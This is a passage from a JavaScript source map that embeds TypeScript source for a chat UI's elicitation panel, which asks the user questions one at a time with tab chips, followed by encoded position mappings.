'Your answer' is the last resort, localised like the rest.\n input.setAttribute('aria-label', field.title ?? field.description ?? fallbackLabel ?? contextConfig().t('elicitationAnswerLabel'));\n wrap.appendChild(input);\n input.addEventListener('input', onChange);\n\n const required = field.required ?? true;\n const value = () => (input as HTMLInputElement | HTMLTextAreaElement).value;\n return {\n el: wrap,\n getValue: () => value(),\n isComplete: () => {\n const v = value().trim();\n if (!required && v === '') return true;\n return v.length >= (field.minLength ?? 1);\n },\n focus: () => input.focus(),\n };\n}\n\n/**\n * The four schema kinds, exhaustively.\n *\n * `fallbackLabel` is the panel's message, passed down for the SINGLE-field shape\n * where the message is the question and the field itself carries no title — without\n * it, that field's group or input has no accessible name at all.\n */\nfunction buildField(field: AparteElicitationField, onChange: () => void, fallbackLabel?: string, key?: string): BuiltField {\n // A consumer's field wins, and `null` from it means \"not this one\" — which is\n // what lets an app replace only the choices and keep the built-in text input.\n const custom = contextConfig().getElicitationFieldRenderer()?.(field, { key, notifyChange: onChange });\n if (custom) {\n return {\n el: custom.el,\n getValue: () => custom.getValue(),\n isComplete: () => custom.isComplete(),\n focus: () => custom.focus?.(),\n };\n }\n switch (field.type) {\n case 'enum': return buildEnumField(field, onChange, fallbackLabel);\n case 'boolean': return buildBooleanField(field, onChange, fallbackLabel);\n case 'string': return buildStringField(field, onChange, fallbackLabel);\n }\n}\n\n// ─── panel ─────────────────────────────────────────────────────────────────\n\nexport function buildElicitationPanel(\n message: string,\n schema: AparteElicitationSchema,\n onChange: () => void,\n): BuiltElicitationPanel {\n const panel = el('div', 'aparte-elic-panel');\n if (message) panel.appendChild(el('p', 'aparte-elic-message', message));\n\n /*\n * The QUESTIONS scroll; the actions do not.\n *\n * The panel is capped at 50vh, and one question with six options plus the\n * free-text escape already exceeded that — so with everything in one scroll box,\n * \"Next\" sat below the fold and \"Skip\" was off screen entirely. The primary way\n * forward is not something a user should have to scroll to find.\n *\n * Only visible with real layout: jsdom reports every height as 0, and the browser\n * test that walks this flow clicked Next by selector without ever asking whether\n * it was in view. Found by looking at a screenshot of the running app.\n */\n const body = el('div', 'aparte-elic-body');\n panel.appendChild(body);\n\n // The corner for the whole-request escape. First in the DOM so it is reachable\n // before the questions, positioned out of their way by CSS.\n const dismiss = el('div', 'aparte-elic-dismiss');\n panel.appendChild(dismiss);\n\n if (schema.type === 'object') {\n const entries = Object.entries(schema.properties);\n const requiredKeys = new Set(schema.required ?? entries.map(([k]) => k));\n const cfg = contextConfig();\n\n // Re-entrant: a field's change has to refresh the step nav (which chip is\n // answered, whether Next is available) BEFORE the presenter re-reads\n // isComplete() for the send button.\n let syncNav = (): void => {};\n const notify = (): void => { syncNav(); onChange(); };\n\n const fields = entries.map(([key, field]) => {\n const built = buildField(field, notify, undefined, key);\n // Ensure a title so each field in a form is labelled.\n if (!field.title && !built.el.querySelector('.aparte-elic-title')) {\n built.el.insertBefore(el('p', 'aparte-elic-title', key), built.el.firstChild);\n }\n body.appendChild(built.el);\n return { key, field: built, required: requiredKeys.has(key), header: field.header };\n });\n\n const isComplete = (): boolean => fields.every(f => !f.required || f.field.isComplete());\n const api: BuiltElicitationPanel = {\n el: panel,\n dismiss,\n getContent: () => Object.fromEntries(fields.map(f => [f.key, f.field.getValue()])),\n isComplete,\n focus: () => fields[0]?.field.focus(),\n // A form of one behaves like a single field; only a real form steps.\n mode: () => 'submit',\n canProceed: isComplete,\n proceed: () => {},\n };\n\n // ONE QUESTION AT A TIME, past the first.\n //\n // Stacking every question in one box was inherited from MCP elicitation\n // without examining it: MCP describes a FORM for collecting structured data,\n // which is a different thing from asking a person two questions in the middle\n // of a conversation. No product does the latter by stacking — the shape they\n // all use is one question at a time with a chip per question, and it is what\n // `header` exists for. `layout: 'stacked'` keeps the form case, because that\n // case is real; it is just not the default.\n //\n // `isComplete()` is deliberately unchanged — still \"every required field\" —\n // so the protocol is untouched and the composer's send button still means\n // submit. Advancing is the panel's own affordance.\n if (fields.length < 2 || cfg.getElicitationOptions().layout !== 'stepped') return api;\n\n panel.classList.add('aparte-elic-panel--stepped');\n let current = 0;\n\n const steps = el('div', 'aparte-elic-steps');\n steps.setAttribute('role', 'tablist');\n const chips = fields.map((f, i) => {\n const chip = el('button', 'aparte-elic-step');\n chip.type = 'button';\n chip.setAttribute('role', 'tab');\n // The position when the model gave no short label: honest, and it never\n // truncates a sentence into nonsense.\n chip.textContent = f.header?.trim() || String(i + 1);\n // A chip is how you go BACK. Free navigation rather than a Previous\n // button: an answer you have already given is the thing you most want to\n // revisit, and hunting for a Back button to do it is the frustrating\n // half of every stepped form.\n chip.addEventListener('click', () => { show(i); f.field.focus(); });\n steps.appendChild(chip);\n return chip;\n });\n // Above the scroll region rather than inside it: the chips are navigation.\n panel.insertBefore(steps, body);\n\n /*\n * There is no \"Next\", and that is the point.\n *\n * A stepped form usually grows a Next button, and this one did: which then\n * needed a disabled state, a hidden state on the last question, a row that\n * reserved its height so hiding it did not move the panel, and a rule about\n * whether it or the composer's send button was the real submit. Four rules to\n * support one button.\n *\n * The reference implementations do not have it. Clicking a tab is the\n * navigation — which is also how you go BACK, so one affordance does both —\n * and the only button is the submit. Removing it deleted every one of those\n * four rules with it.\n */\n function show(index: number): void {\n current = index;\n fields.forEach((f, i) => { f.field.el.hidden = i !== index; });\n syncNav();\n }\n\n syncNav = (): void => {\n chips.forEach((chip, i) => {\n chip.setAttribute('aria-selected', String(i === current));\n // Answered, so a reader sees at a glance what is left — and with no\n // Next button this is the ONLY progress signal, along with the send\n // button staying disabled until every question has an answer.\n chip.toggleAttribute('data-answered', fields[i]!.field.isComplete());\n });\n };\n\n show(0);\n const last = (): boolean => current === fields.length - 1;\n return {\n ...api,\n focus: () => fields[current]?.field.focus(),\n mode: () => (last() ? 'submit' : 'advance'),\n // Advancing needs only THIS question answered; submitting needs them all,\n // which is what stops the last question from accepting a form with a hole\n // in it.\n canProceed: () => (last() ? isComplete() : !!fields[current]?.field.isComplete()),\n proceed: () => {\n if (last()) return;\n show(current + 1);\n fields[current]?.field.focus();\n },\n };\n }\n\n // The single-field shape: the panel's message IS the question, so it names the\n // field. In the object shape each field carries its own title instead.\n const field = buildField(schema, onChange, message);\n body.appendChild(field.el);\n return {\n el: panel,\n dismiss,\n getContent: () => field.getValue(),\n isComplete: () => field.isComplete(),\n focus: () => field.focus(),\n mode: () => 'submit',\n canProceed: () => field.isComplete(),\n proceed: () => {},\n };\n}\n","/**\n * Elicitation — public surface.\n *\n * `requestUserInput(req)` is the free-function entry a tool handler calls: it\n * resolves the config governing `req.target` (the instance the request belongs\n * to, or the global default) and delegates to that config's presenter. This is\n * what `ask_user` and tool-approval adapters use — they never touch window\n * events, so there is no stringly-typed contract to drift.\n */\n\nimport { resolveConfig } from '../config/config-context.js';\nimport type { AparteElicitationRequest, AparteElicitationResult } from './types.js';\n\nexport type {\n AparteElicitationSchema,\n AparteElicitationField,\n AparteElicitationEnumField,\n AparteElicitationBooleanField,\n AparteElicitationStringField,\n AparteElicitationObjectSchema,\n AparteElicitationRequest,\n AparteElicitationResult,\n AparteElicitationPresenter,\n} from './types.js';\nexport { buildElicitationPanel } from './panel.js';\nexport type { BuiltElicitationPanel } from './panel.js';\n\n/**\n * Ask the user for typed input and await their response, on the config\n * governing `request.target` (its instance config, or the global default).\n * Resolves `accept` / `decline` / `cancel`.\n */\nexport function requestUserInput(request: AparteElicitationRequest): Promise<AparteElicitationResult> {\n return resolveConfig(request.target ?? null).requestUserInput(request);\n}\n"],"names":["AparteErrorCode","codeContent","segment","el","cached","kind","field"],"mappings":"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